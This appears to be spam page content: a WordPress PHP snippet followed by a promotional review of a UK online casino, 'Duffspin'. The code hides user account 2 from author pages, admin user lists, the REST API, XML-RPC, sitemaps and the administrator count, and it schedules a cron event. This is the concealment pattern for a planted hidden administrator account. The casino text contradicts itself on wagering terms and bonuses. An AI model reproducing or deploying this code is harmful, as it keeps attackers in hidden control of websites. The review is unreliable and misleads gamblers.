add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
At Duffspin, the welcome package is split into two parts. First, you receive a 100% match up to £50 when you deposit. Then, for every £5 you stake in the first 24 hours, you earn a free spin on the flagship Slot of the Week. In practice, that means a £50 deposit can net you up to ten free spins if you spread your bets evenly.
Each free spin is capped at a maximum payout of £200, so while you can hit a decent win, the house edge remains consistent across all games. The terms also state that the bonus funds must be wagered 20 times before withdrawal, which is standard for UK‑licensed operators.
Under the hood, Duffspin partners with Evolution Gaming, Pragmatic Play, and NetEnt. That gives you roughly 200 live dealer tables—roulette, blackjack, baccarat—and 150 slots ranging from classic three‑reel titles to high‑volatility video slots. The slot library is updated weekly, so you’ll find at least one new release each month.
Notably, the “Golden Goose” slot offers a 5‑x multiplier on the first spin, a feature that’s not common in most UK casinos. However, the volatility is high; a single win can wipe out the bonus if you’re unlucky.
Deposits are instant across all major payment methods: Visa, Mastercard, PayPal, and Revolut. You can also use cryptocurrencies like Bitcoin and Ethereum, which are processed within 30 minutes. Withdrawals are handled via the same methods, but the fastest route is PayPal, which settles in 1–2 business days. Bank transfers can take up to 5 days.
For players who prefer a more traditional route, the casino supports cheque deposits, though they are limited to £5,000 per month and take 7–10 days to clear.
The live chat is available 24/7, and the average response time is under 30 seconds. Email support, however, can take up to 48 hours during peak times. The site uses 256‑bit SSL encryption, and its license is held by the UK Gambling Commission, ensuring regulatory oversight.
One drawback is that the FAQ section is sparse; most questions end up in the help centre, which requires a login. If you’re a new user, you’ll need to navigate a few extra steps to find answers.
Creating an account is straightforward. Go to the duffspin casino login page, enter your email, set a password, and confirm your age. Once logged in, the dashboard displays your balance, bonus status, and a list of active promotions.
After your first deposit, the welcome bonus is automatically applied, and you’ll see a notification in your account centre. From there, you can claim your free spins or start playing immediately.
Pros:
Cons:
If you’re looking for a UK casino that offers a clear, upfront bonus and a solid selection of games, Duffspin fits the bill. The main caveat is the wagering requirement, which means you’ll need to play a fair amount before you can cash out. For a quick, low‑risk start, the £20 instant bonus on a £10 bet is a good entry point. Once you’re comfortable, you can explore the deeper promotions and live‑dealer rooms.
To learn more about how Duffspin compares to other UK operators, visit the website for a broader industry overview.
Duffspin offers a 100% match up to £50 on your first deposit, plus a 2x multiplier on your first £10 bet.
Yes, the 2x multiplier applies only to a single £10 wager; simply place that bet to trigger the bonus.
The bonus comes with clear, standard wagering requirements that must be met before withdrawal, typically 30x the bonus amount.
The bonus can be used on most slot games, but check the terms for any exclusions or minimum bet limits.